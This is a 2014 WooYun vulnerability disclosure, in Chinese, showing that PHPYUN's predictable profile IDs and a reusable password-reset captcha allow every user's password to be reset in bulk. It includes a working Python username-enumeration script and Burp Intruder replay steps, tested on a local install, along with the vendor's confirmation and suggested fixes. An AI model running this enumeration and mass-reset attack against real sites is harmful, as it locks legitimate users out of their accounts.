当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060456

漏洞标题:PHPYUN设计缺陷可批量重置全部用户密码

相关厂商:php云人才系统

漏洞作者: phith0n

提交时间:2014-05-12 18:24

修复时间:2014-08-10 18:26

公开时间:2014-08-10 18:26

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-12: 细节已通知厂商并且等待厂商处理中
2014-05-12: 厂商已经确认,细节仅向厂商公开
2014-05-15: 细节向第三方安全合作伙伴开放
2014-07-06: 细节向核心白帽子及相关领域专家公开
2014-07-16: 细节向普通白帽子公开
2014-07-26: 细节向实习白帽子公开
2014-08-10: 细节向公众公开

简要描述:

不过重置成了什么我也不知道。
但如果有一天,一个网站所有用户密码全部被重置成随机字符了,所有遗失邮箱的用户就完全丢失自己的账号了。就算没有遗失邮箱,但莫名其妙地被重置密码了,谁会开心?

详细说明:

0x01.
访问链接friend/index.php?C=profile&id=1可以查看uid=1的用户的信息,其中就有用户名。
因为uid是数字,所以存在遍历的可能,我可以写一个脚本,把数据库中所有用户用户名遍历出来。
0x02.
访问index.php?M=forgetpw&sendpw,把获得的所有用户名一一POST到这里。其中需要验证验证码,但验证码因为没有删除SESSION,所以形同虚设。只要第一次输入一个即可。
0x03.
POST完后就结束了。。。所有用户的密码都重置成随机字符串了。

漏洞证明:

首先,我简单写了一个遍历phpyun网站中所有用户的脚本:

#!/usr/bin/python
# -*- coding: utf-8 -*-
__author__ = 'Phith0n'
import requests, re
headers = {'Cookie': 'PHPSESSID=de2a1aec530176b35502b300d006f1f2; uid=5; username=test3;' \
' salt=cb6a81; email=asd%40as.com; shell=28a359ac7e1d8c9de109d427f055db50; usertype=1',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0'
}
user = []
for i in range(10):
url = 'http://localhost/phpyun/friend/index.php?C=profile&id=%d' % i
resp = requests.get(url, headers = headers).content.decode('gbk').encode('utf-8')
grp = re.search(r'<strong>(.+)の个人主页</strong>', resp)
try:
user.append(grp.group(1))
except:
continue
with open('user.txt', 'w') as fin:
fin.write('\n'.join(user))


首先自己注册一个用户,然后把COOKIE复制到这个代码里。然后大概估计一下用户总数量,填到for循环里。
我为了演示,本地搭建了一个phpyun系统,注册了6个用户:

07.jpg


然后运行脚本,获得了用户名列表:

08.jpg


然后来到找回密码页面,随便输入一个用户名,正确填写验证码,然后用burpsuite抓包:

09.jpg


payloads就加载刚才生成好的那个文件:

10.jpg


开始intruder,于是,很快就跑完了。看返回包,返回的信息是“新密码已经发送到您的邮箱”:

11.jpg


于是,所有用户密码都变了,而且邮箱遗忘的用户,就永远登录不进来了……
对比一下数据库,可以看到密码和salt全部变了。而且salt还比较有规律,因为salt的生成与时间有关,我提交的时间很接近,所以生成的salt第一位都相等:

12.jpg


这是重置密码前的数据库:

07.jpg

修复方案:

01.修复验证码问题
02.让用户输入邮箱和用户名,二者对应才允许改密码,至少不能像我这样批量重置。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-05-12 18:54

厂商回复:

感谢您的支持,我们会尽快修复!

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-12 10:16 | D&G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    赞一个实践精神。